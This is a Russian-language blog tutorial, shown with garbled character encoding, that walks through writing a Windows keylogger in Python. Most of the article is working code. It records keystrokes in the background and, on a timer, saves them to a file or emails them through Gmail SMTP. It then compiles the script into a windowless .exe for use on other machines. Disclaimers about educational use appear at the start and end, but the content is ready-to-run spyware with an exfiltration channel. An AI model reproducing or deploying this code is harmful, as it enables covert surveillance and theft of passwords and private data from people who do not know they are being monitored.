05 мая 2022

πŸ•΅ ПишСм ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ Π½Π° Python для Windows Π·Π° 5 ΠΌΠΈΠ½ΡƒΡ‚

Π‘ΠΎΠ»Π΅Π΅ 7 Π»Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² IT-сфСрС. БистСмноС администрированиС, frontend Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°, написаниС скриптов Π½Π° Python.
Руководство ΠΏΠΎ созданию ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Π° Π½Π° Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ записываСт наТатия клавиш с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈ отправляСт ΠΈΡ… ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ ΠΈΠ»ΠΈ сохраняСт Π² Ρ„Π°ΠΉΠ» ΠΆΡƒΡ€Π½Π°Π»Π°.
πŸ•΅ ПишСм ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ Π½Π° Python для Windows Π·Π° 5 ΠΌΠΈΠ½ΡƒΡ‚
Π­Ρ‚ΠΎΡ‚ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» публикуСтся ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π² ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… цСлях. Автор ΠΈ рСдакция катСгоричСски ΠΏΡ€ΠΎΡ‚ΠΈΠ² нСэтичного использования ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ для слСТки, шпионаТа, хищСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠΉ. Автор ΠΈ рСдакция Π½Π΅ нСсут ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ послСдствия использования этого ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°.

Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ ΠΈ Π·Π°Ρ‡Π΅ΠΌ ΠΎΠ½ Π½ΡƒΠΆΠ΅Π½

ΠšΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ – это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, прСдназначСнная для записи Π²Π²ΠΎΠ΄Π° с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. КСйлоггинг ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для изучСния Π΄ΠΈΠ½Π°ΠΌΠΈΠΊΠΈ наТатия клавиш (.pdf), взаимодСйствия Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ, сохранСния ΠΈ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с тСкстом, ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ скорости Π²Π²ΠΎΠ΄Π°, продуктивности Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΏΡ€ΠΎΡ‡Π΅Π΅. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Ρ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ…Π°ΠΊΠ΅Ρ€Ρ‹ для ΠΊΡ€Π°ΠΆΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.

ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°: устанавливаСм Python ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ

Для Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ потрСбуСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Python. Если это ΡƒΠΆΠ΅ сдСлано, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ смСло ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ этот Π°Π±Π·Π°Ρ† ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ установкС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС скачайтС ΠΈ установитС подходящий Ρ€Π΅Π»ΠΈΠ· с ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ страницы языка. Π’ Π΄Π°Π½Π½ΠΎΠΌ руководствС ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ€ΡΠΈΡŽ Python 3.9, Π½ΠΎ, ΠΏΠΎ сути, ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ любая вСрсия.

ΠšΡ€ΠΎΠΌΠ΅ этого, Π½Π°ΠΌ понадобится Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° keyboard. Она позволяСт ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.

Π‘Ρ‚Π°Π²ΠΈΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ простой ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅:

        pip3 install keyboard
    

ПишСм ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€

Наш ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ ΠΈ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π² ΡΡ‚Ρ€ΠΎΠΊΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ наТатия клавиш Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ содСрТимоС Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ Π½Π° email.

Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ

НачнСм с ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ:

        import keyboard 
import smtplib #для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ SMTP (gmail)
#Π’Π°ΠΉΠΌΠ΅Ρ€ для запуска Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ Β«ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Β» Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.
from threading import Timer
from datetime import datetime
    

Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π»ΠΎΠ³ΠΈ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅, слСдуСт Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись Gmail ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π² ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи:

РСкомСндуСтся ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ основного, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ содСрТит ваш ΠΏΠ°Ρ€ΠΎΠ»ΡŒ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ Π²ΠΈΠ΄Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ сообщСний.

Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π° нашСм Ρ‚Π΅Π»Π΅Π³Ρ€Π°ΠΌ-ΠΊΠ°Π½Π°Π»Π΅ Β«Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Ρ…Π°ΠΊΠ΅Ρ€Π°Β»

Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹

        SEND_REPORT_EVERY = 60 #врСмя Π² сСкундах
EMAIL_ADDRESS = "notmygmail@gmail.com"
EMAIL_PASSWORD = "notmypassword"
    

Π’ΡƒΡ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Π΅ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Gmail, ΠΈΠ½Π°Ρ‡Π΅ ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.

Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ класс ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹

Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ – ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ для Π½Π΅Π³ΠΎ класс, ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² этом классС выполняСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ:

        class Keylogger:
    def __init__(self, interval, report_method="email"):
        # ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ SEND_REPORT_EVERY Π² ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»
        self.interval = interval
        self.report_method = report_method
        # это строковая пСрСмСнная, которая содСрТит Π»ΠΎΠ³
        self.log = ""
        #запись Π½Π°Ρ‡Π°Π»Π° ΠΈ окончания Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()
    

ΠœΡ‹ установили Π² качСствС ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ email, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠ΅ΠΉΠ»ΠΎΠ³ΠΈ Π½Π° ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ. Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ ΠΌΡ‹ смоТСм просто Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… Π² Ρ„Π°ΠΉΠ».

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ on_release(), которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ².

        def callback(self, event):
        name = event.name
        if len(name) > 1:
            #Π½Π΅ символ, ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ клавиша (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ctrl, alt ΠΈ Ρ‚. Π΄.)
            #Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр
            if name == "space":
                #" " вмСсто ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ²
                name = " "
            elif name == "enter":
                #Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ строку всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наТимаСтся ENTER
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                #Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ символами подчСркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        #Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ имя ΠΊΠ»ΡŽΡ‡Π° Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ
        self.log += name
    

ПишСм ΠΌΠ΅Ρ‚ΠΎΠ΄ для записи Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»

        def update_filename(self):
        #ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ имя Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ ΠΏΠΎ Π΄Π°Ρ‚Π΅ Π½Π°Ρ‡Π°Π»Π° ΠΈ окончания записи
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»
        with open(f"{self.filename}.txt", "w") as f:
            # Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π»ΠΎΠ³
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    

ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π½Π° email

         def sendmail(self, email, password, message):
        # управляСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊ SMTP-сСрвСру
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ SMTP-сСрвСру Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ TLS
        server.starttls()
        # Π»ΠΎΠ³ΠΈΠ½
        server.login(email, password)
        # ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ сообщСниС
        server.sendmail(email, email, message)
        # Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ сСанс
        server.quit()
    

Если ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π»ΠΎΠ³Π° Π½Π° email, консоль Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π²Ρ€ΠΎΠ΄Π΅ UnicodeEncodeError: 'ascii' codec can't encode character, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ smtplib.py ΠΏΠΎ адрСсу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ строку msg = _fix_eols(msg).encode('ascii') ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π΅ Π½Π° msg = _fix_eols(msg).encode('utf8'). Ошибка связана с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° ASCII Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±Π°ΠΉΡ‚Ρ‹ ΠΊΠΈΡ€ΠΈΠ»Π»ΠΈΡ†Ρƒ.

Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅ΠΌ Π»ΠΎΠ³ Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ

         def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()
    

Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ on_release():

        def start(self):
        #Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя Π½Π°Ρ‡Π°Π»Π°
        self.start_dt = datetime.now()
        #Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π΅Ρ€
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

    

ΠœΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ с классом Keylogger, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ экзСмпляр этого класса:

        if __name__ == "__main__":
    # для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΠΎ email Ρ€Π°ΡΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку Π½ΠΈΠΆΠ΅ ΠΈ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку с report_method="file"
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # для записи Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» оставляСм ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
    

ИспользованиС

Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ наш скрипт Π² исполняСмый Ρ„Π°ΠΉΠ», Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ Pyinstaller. Для этого ставим саму Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ:

        pip3 install pyinstaller
    

И собираСм всС Π² Ρ„Π°ΠΉΠ»:

        pyinstaller --onefile -w 'keylogger.py'
    

На Π²Ρ‹Ρ…ΠΎΠ΄Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ„Π°ΠΉΠ» с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ .exe, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° любом ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Windows.

ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΠ΅ΠΌ, ΠΌΡ‹ катСгоричСски ΠΏΡ€ΠΎΡ‚ΠΈΠ² нСэтичного использования этого ΠΊΠΎΠ΄Π° ΠΈ просим ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°, Π³Π΄Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ΅ ПО.

ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅

ΠœΠ•Π ΠžΠŸΠ Π˜Π―Π’Π˜Π―

ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ

 
 

Π›Π£Π§Π¨Π˜Π• БВАВЬИ ПО Π’Π•ΠœΠ•

Подпишись

Π½Π° push-увСдомлСния